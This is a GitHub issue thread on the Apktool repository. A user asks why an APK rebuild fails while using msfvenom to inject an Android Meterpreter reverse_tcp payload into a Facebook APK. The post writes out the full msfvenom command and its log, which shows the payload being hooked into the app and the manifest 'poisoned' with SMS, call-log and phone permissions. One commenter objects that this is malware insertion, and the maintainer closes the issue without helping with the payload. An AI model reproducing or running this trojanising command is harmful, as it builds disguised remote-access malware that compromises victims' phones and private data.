Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

error on building apk ... #2265

Closed
azamet90 opened this issue Dec 29, 2019 · 4 comments
Closed

error on building apk ... #2265

azamet90 opened this issue Dec 29, 2019 · 4 comments

Comments

@azamet90
Copy link

azamet90 commented Dec 29, 2019

Information

  1. **Apktool Version 2.4.1
  2. Operating System kali linux -
im trying to use metasploit-framework but i get this error:
sudo msfvenom -x facebook.apk -p android/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx  LPORT=xxxxx -o /home/azamet/Downloads/fbm.apk
Using APK template: facebook.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.facebook.katana.xfwoz
[*] Loading /tmp/d20191229-6858-1rqxxbp/original/smali/com/facebook/katana/app/FacebookApplication.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20191229-6858-1rqxxbp/output.apk
[-] I: Using Apktool 2.4.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
W: /tmp/d20191229-6858-1rqxxbp/original/res/values/styles.xml:11361: error: Resource entry nux_bubble_text already has bag item android:textColor.
W: /tmp/d20191229-6858-1rqxxbp/original/res/values/styles.xml:11360: Originally defined here.
W: 
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_52478733210215797.tmp, p, --forced-package-id, 127, --min-sdk-version, 22, --target-sdk-version, 23, --version-code, 73866260, --version-name, 145.0.0.0.73, --no-version-vectors, -F, /tmp/APKTOOL4410287624434148609.tmp, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20191229-10962-1w5kysa/original/res, -M, /tmp/d20191229-10962-1w5kysa/original/AndroidManifest.xml]
Error: Unable to rebuild apk with apktool

APK

If this APK can be freely shared, please upload/attach a link to it.

Questions to ask before submission

  1. Have you tried apktool d, apktool b without changing anything?
    yes d works but b same error
  2. If you are trying to install a modified apk, did you resign it?
    if i cannot recompile i cannot sign the apk... and i think metasploit is already doing it
  3. Are you using the latest apktool version?
    yes

down i shared the app i tryed to put the payload...
http://d1.dl-android.com/apps/facebook-mod[dlandroid.com].apk

i did installed the apktool using this tutorial: https://ibotpeaches.github.io/Apktool/install/

i did clean the history with $apktool empty-framework-dir but the result is same...
in general @sourcetoad is asking one question after get the answer stopping to answer back...
or closing the topic without even giving answer... to this question no one was able to get answer i hope im lucky and will get a good answer to fix it...

@azamet90 azamet90 changed the title i cannot understand what the problem is and what is fixed on 2.4.1? error on building apk ... Dec 29, 2019
@azamet90 azamet90 changed the title error on building apk ... is:issue is:open error on building apk ... Dec 29, 2019
@azamet90 azamet90 changed the title is:issue is:open error on building apk ... error on building apk ... Dec 29, 2019
@Ticklefish
Copy link

I could be wrong but this issue seems to relate to putting malware into an app. That's not what apktool is for.

@azamet90
Copy link
Author

I could be wrong but this issue seems to relate to putting malware into an app. That's not what apktool is for.

it can be used for reverse engineering for doing some tests...

@azamet90
Copy link
Author

azamet90 commented Jan 3, 2020

any help?

@iBotPeaches
Copy link
Owner

Try decoding/rebuilding without venom. If you find the same area, then it cannot be decoded and rebuilt with the newer aapt/aapt2 binaries. This isn't easy to rebuild an application that may have been built with something 2-5 years older.

So you'll have to solve those issues before you return to venom. There is no bug here. Closing.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants